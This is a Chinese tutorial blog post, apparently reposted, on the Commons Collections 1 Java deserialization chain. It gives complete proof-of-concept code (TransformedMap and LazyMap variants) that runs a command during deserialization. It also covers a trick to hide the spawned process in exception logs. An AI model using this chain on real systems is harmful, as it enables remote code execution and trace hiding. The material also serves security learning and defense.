当前位置: 首页 > news >正文

java反序列化之CommonCollections1利⽤链的学习

一、源起

1、代码示例

既然学习cc1链,那么总要先了解下cc1链能造成任意代码执行的原因,这里引用P神的代码来进行讲解:

ps:环境使用:

  • CommonsCollections <= 3.2.1
  • java < 8u71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class ccTest {public static void main(String[] args) {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("test", "xxxx");}
}

执行上述代码,就可以调用本机的计算器

2、代码类及方法解释

上述代码利用到了TransformedMap类和Transformer接口、ConstantTransformer类、InvokerTransformer类、ChainedTransformer类,我们先理解这几个类及接口的作用,再进一步理解造成cc1链的利用原理。

(1)TransformedMap类

TransformedMap用于对java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。上述代码的中对InnerMap进行修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valuetransformer是处理新元素的value的回调。 这里多次说到“回调”,其实是一个实现Transformer接口的类

(2)Transformer 接口

Transformer是个接口,它只有一个待实现的方法:

public interface Transformer{public Object transform(Object input);}

TransformedMap类在转换Map的新元素时,就会调用transform方法, 这个过程类似在调用一个“回调函数”,这个回调的参数就是原始对象

(3)ConstantTransformer类

ConstantTransformer类是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transformer方法将这个对象再返回。

public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;
}public Object transform(Object input) {return iConstant;
}

其实作用就相当于包装任意一个对象, 在执行回调的时候返回这个对象,进而方便后续操作

(4)InvokerTransformer

InvokerTransformer是实现Transformer接口的一个类,,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键

在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args){super();iMethodName = methodName;iParamTtypes = paramTypes;iArgs = args;
}

后面的回调transformer方法,就是执行了input对象的iMethodName方法:

public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var7) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);}}}

(5)ChainedTransformer类

ChainedTransformer 也是实现了 Transformer 接⼝的⼀个类,它的作⽤是将内部的多个 Transformer 串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

构造函数解析:

public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;
}

构造函数:

    • 参数: Transformer[] transformers
      • 这是一个 Transformer 对象的数组, 表示将要链式调用的转换器
    • super():
      • 调用父类的构造函数,确保父类的初始化
    • iTransformers = transformers;
      • 将传入的转换器数组赋值给类的实例变量 iTransformers 。这个变量用于存储所有的转换器,供后续的 transform 方法使用

tranform方法:

public Object transform(Object object){for ( int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}
return object;
}

方法功能:

  • 参数: Object object
    • 这是要进行转换的对象,可以是任何类型
  • 方法流程:
    • 遍历iTransformers 数组: 使用for循环 遍历所有的 Transformer 对象
    • 逐个调用 transform 方法: 再循环中,对于当前的 Transformer(iTransformers[i]) 调用其 transform方法,并将结果赋值回 object,这意味这每次调用 transform 都会将当前对象进行转换,并更新object变量为转换后的值
    • 返回最终结果:循环结束后,返回经过所有转换器处理后的object

3、理解造成任意代码执行的原因

        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);

在上述代码中,创建了一个ChainedTransformer对象,其中包含两个Transformer:

  • 第一个是ConstantTransformer,返回的是当前环境的Runtime对象;
  • 第二个是InvokerTransformer,执行Runtime对象的exec方法,参数是 cale.exe

不过,这个生成的实例transformerChain只是一系列回调,我们需要用其包装一个Map

,使用前面说到的TransformedMap.decorate:

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

那么触发回调也就是如之前所说的向Map中放入一个新元素即可,

outerMap.put("test", "xxxx");

至此,就是CC1链造成任意代码执行的一个原因了,当然这也是最简单的一部分了,经过P神的压缩再压缩,后续再深入研究下如何构造成反序列化的payload。

二、使用TransformedMap构造可用的POC

前面说到,触发漏洞的关键点是有个被TransformedMap修饰包装过的Map,同时需要更新这个Map的键值对。

在上述根因分析中,我们是通过手动执行outerMap.put("test","xxxx");来触发漏洞,但在实际反序列化时,我们需要找到一个类,它能在反序列化的readObject逻辑里有类似的写入操作。

当前分析的一个类就是 sun.reflect.annotation.AnnotationInvocationHandler, 分析它的readObject方法(如下是8u71之前的代码):

    private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();
// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue :memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}

这里的关键点就是Map.Entry<String, Object> membervalue : memberValues.entrySet()  和memberValue.setValue(....)。 memberValues就是经过反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。 在调用setValue设置值的时候就会触发TransformedMap里注册的Transform(这部分就相当于我们手工执行插入Map元素的步骤),进而执行我们为其精心设计的任意代码。

所以,在构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将其前面构造的HashMap设置进来; 同时因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的 类,不能直接使用new来实例化。这里使用发射获取其构造方法,并将其设置成外部可见,再调用就可以实例化了。

值得注意的是,因为poc是经过序列化的,而在开始的实例demo中,Runtime类是没有实现 java.io.Serializable 接口的,故开始设置的Transformer[] 也需要通过反射实现;

        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class), //返回个java.lang.Class对象new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),};。。。。。。。。
。。。。。。。。Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object obj = construct.newInstance(Retention.class, outerMap);

我们在探讨下 AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个参数是前面构造的Map。那么为什么是Annotation类?为什么又需要使用Retention.class? 

在这里我们先结合开始的demo和上述修正后的部分代码,去执行看看,是否能达成我们想要的效果?

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("test", "xxxx");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//outerMap.put("test", "xxxx");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object obj = construct.newInstance(Retention.class, outerMap);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(obj);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

这时候执行,其实生成了序列化后的数据的,但是实际上并没有弹出电脑的计算器,故并没有达到想要的效果。

这个实际上和 AnnotationInvocationHandler 类的逻辑有关,我们可以动态调试就会发现,在
AnnotationInvocationHandler:readObject 的逻辑中,有一个 if 语句对 var7 进行判断,只有在其不
null 的时候才会进入里面执行 setValue ,否则不会进入也就不会触发漏洞:

那么如何让这个 var7 不为 null 呢?P神的解释是还会涉及到 Java 注释相关的技术。故直接给
出两个条件:
1、. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation 的子类,且其中必须含有至少一个方法,假设方法名是 X
2、  被TransformedMap.decorate 修饰的Map 中必须有一个键名为 X 的元素
所以,这也解释了为什么前面用到 Retention.class ,因为 Retention 有一个方法,名为 value ;所
以,为了再满足第二个条件,需要给 Map 中放入一个 Key value 的元素:

public class CommonCollections1 {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("value", "xxxx");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//outerMap.put("test", "xxxx");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object obj = construct.newInstance(Retention.class, outerMap);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(obj);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

当然上述执行的poc生成序列化流,仅限于java 8u71之前的版本适用,后续官方已经做过修复,jdk8u/jdk8u/jdk: f8a528d0379d (openjdk.org)

改动后,不再直接 使用反序列化得到的Map 对象,而是新建了一个 LinkedHashMap 对象,并将原来的键值添加进去。
所以,后续对 Map 的操作都是基于这个新的 LinkedHashMap 对象,而原来我们精心构造的 Map 不再执 行set put 操作,也就不会触发 RCE 了。

三、使用LazyMap 构造可用的POC

在实际中,ysoserial构造CC1链是用LazyMap而不是TransformedMap,那么我们继续跟进用LazyMap构造一个可用的POC。

1、了解什么是LazyMap

LazyMap和TransformedMap类似,都是来自Common-Collections库,并继承AbstractMapDecorator。 LazyMap的漏洞触发点和TransformedMap唯一的区别就是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform。 LazyMap的作用是 懒加载, 在get找不到值的时候,它会调用factory.transform方法去获取一个值。

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler的 readObject方法中并没有直接调用到Map的get方法。

所以在ysoserial的利用链中,用AnnotationInvocationHandler类的invoke方法有调用到get:

那么继续进一步又如何能调用到 AnnotationInvocationHandler#invoke 呢?在ysoserial中是利用Java的对象代理。

2、了解对象代理

在 Java 中,代理(Proxy)模式是一种设计模式,通过它可以在不改变现有类的情况下扩展其功能。Java 提供了 java.lang.reflect.Proxy 类和 java.lang.reflect.InvocationHandler 接口来动态创建代理对象。

示例说明:

创建一个动态代理,它可以在对 Map 对象进行操作时记录操作日志。

1、定义InvocationHandler

首先,我们需要实现 InvocationHandler 接口,这个接口用于处理代理对象方法的调用。

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;public class MapProxyHandler implements InvocationHandler {private final Map<String, String> originalMap;public MapProxyHandler(Map<String, String> originalMap){this.originalMap = originalMap;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable{//记录方法的调用System.out.println("调用的方法:" + method.getName());if (args != null){System.out.println("使用参数: ");for (Object arg : args){System.out.println(arg);}}//调用原始方法Object result = method.invoke(originalMap, args);//记录返回值System.out.println("返回值: " + result);return result;}
}

2、创建代理对象

接下来,我们使用 Proxy.newProxyInstance 方法来创建一个代理对象。这个方法需要三个参数:

  • 类加载器(ClassLoader):用于加载代理类。
  • 代理接口(Class<?>[]):代理类需要实现的接口。
  • InvocationHandler 实现:用于处理方法调用。
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
import java.lang.reflect.Proxy;
import java.util.Map;
import java.util.HashMap;public class MapProxyDemo {public static void main(String[] args) {//创建一个实际的Map对象Map<String, String> originalMap = new HashMap<String, String>();originalMap.put("key1", "value1");originalMap.put("key2", "value2");//创建一个 InvocationHandler实例MapProxyHandler  handler = new MapProxyHandler(originalMap);//创建代理对象Map<String, String> proxyMap = (Map<String, String>) Proxy.newProxyInstance(originalMap.getClass().getClassLoader(),new Class<?>[]{Map.class},handler);//使用代理对象System.out.println("key1 的 值为:" + proxyMap.get("key1"));proxyMap.put("key3", "value3");System.out.println("key3 的值为:" + proxyMap.get("key3"));}
}

3、代码解释

  1. MapProxyHandler:

    • 实现了 InvocationHandler 接口。
    • invoke 方法中,记录方法调用和返回值,然后调用实际的 Map 方法。
  2. MapProxyDemo:

    • 创建了一个实际的 Map 对象 originalMap
    • 实例化了 MapProxyHandler
    • 使用 Proxy.newProxyInstance 创建了一个代理对象 proxyMap,它实现了 Map 接口。
    • 使用代理对象执行操作,代理会在控制台上记录方法调用的信息。

4、运行结果

我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类继承了InvocationHandler,我们如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,只要
调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的
LazyMap#get。

3、使用LazyMap构造利用链

参考TransformedMap的POC,进行修改,首先用LazyMap替换TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

紧接着,我们需要对 sun .reflect.annotation.AnnotationInvocationHandler 对象进行Proxy代理:

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

代理后的对象叫做proxyMap,但是这里不能直接对其进行序列化,因为触发入口是sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

所以最终构造的POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),new ConstantTransformer(1),};Transformer  transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(handler);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

4、其他说明

在上述poc中,其实对Transformer数组,为什么最后会增加一个 ConstantTransformer(1)

其实是为了隐藏异常日志中的一些信息。如果这里没有
ConstantTransformer ,命令进程对象将会被 LazyMap#get 返回,导致我们在异常信息里能看到这个 特征:

如果我们增加一个 ConstantTransformer(1) TransformChain 的末尾,异常信息将会变成
java.lang.Integer cannot be cast to java.util.Set ,隐蔽了启动进程的日志特征:

ps:当然即使使用LazyMap也仍然无法解决CommonCollections1这条利用链在高版本Java8u71以后)中的使用问题,因为使用逻辑不一样了。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 结合GPT与Python实现端口检测工具(含多线程)
  • [Meachines] [Easy] Legacy nmap 漏洞扫描脚本深度发现+MS08-067
  • Java编程:单一职责原则
  • 辨析sizeof() 和strlen函数(包含相关二级习题)
  • html+css+js网页设计 电商 折扣社7个页面
  • [000-01-011].第2节:持久层方案的对比
  • 鸿蒙(API 12 Beta3版)【使用ImageEffect编辑图片】图片开发指导
  • CSM数采系统助力高压动力系统的效率测量
  • 计算机四级必背-操作系统
  • 探索上门回收旧衣物系统源码开发的创新与挑战
  • Flutter Listview 缓存item滑动后不进行重新渲染
  • “论面向服务架构设计及其应用”写作框架,软考高级,系统架构设计师
  • Selenium与Web Scraping:自动化获取电影名称和评分的实战指南
  • 中级经济师考试通过率有多少?难度如何?
  • Android 架构模式之 MVP
  • [分享]iOS开发-关于在xcode中引用文件夹右边出现问号的解决办法
  • 「译」Node.js Streams 基础
  • ABAP的include关键字,Java的import, C的include和C4C ABSL 的import比较
  • css的样式优先级
  • ES6, React, Redux, Webpack写的一个爬 GitHub 的网页
  • IndexedDB
  • IOS评论框不贴底(ios12新bug)
  • JavaScript实现分页效果
  • Less 日常用法
  • MQ框架的比较
  • Mysql数据库的条件查询语句
  • supervisor 永不挂掉的进程 安装以及使用
  • vue--为什么data属性必须是一个函数
  • WePY 在小程序性能调优上做出的探究
  • 观察者模式实现非直接耦合
  • 解析带emoji和链接的聊天系统消息
  • 开源中国专访:Chameleon原理首发,其它跨多端统一框架都是假的?
  • 如何使用Mybatis第三方插件--PageHelper实现分页操作
  • 如何用Ubuntu和Xen来设置Kubernetes?
  • 学习JavaScript数据结构与算法 — 树
  • 转载:[译] 内容加速黑科技趣谈
  • ​LeetCode解法汇总2696. 删除子串后的字符串最小长度
  • #define MODIFY_REG(REG, CLEARMASK, SETMASK)
  • #微信小程序:微信小程序常见的配置传值
  • %3cscript放入php,跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击
  • (1/2)敏捷实践指南 Agile Practice Guide ([美] Project Management institute 著)
  • (SpringBoot)第二章:Spring创建和使用
  • (安全基本功)磁盘MBR,分区表,活动分区,引导扇区。。。详解与区别
  • (紀錄)[ASP.NET MVC][jQuery]-2 純手工打造屬於自己的 jQuery GridView (含完整程式碼下載)...
  • (十) 初识 Docker file
  • (十一)图像的罗伯特梯度锐化
  • (转)Linux下编译安装log4cxx
  • (转载)Linux 多线程条件变量同步
  • (轉貼) 資訊相關科系畢業的學生,未來會是什麼樣子?(Misc)
  • ****三次握手和四次挥手
  • .360、.halo勒索病毒的最新威胁:如何恢复您的数据?
  • .Net Core webapi RestFul 统一接口数据返回格式
  • .NET Core 版本不支持的问题
  • .Net Core/.Net6/.Net8 ,启动配置/Program.cs 配置
  • .NET Core工程编译事件$(TargetDir)变量为空引发的思考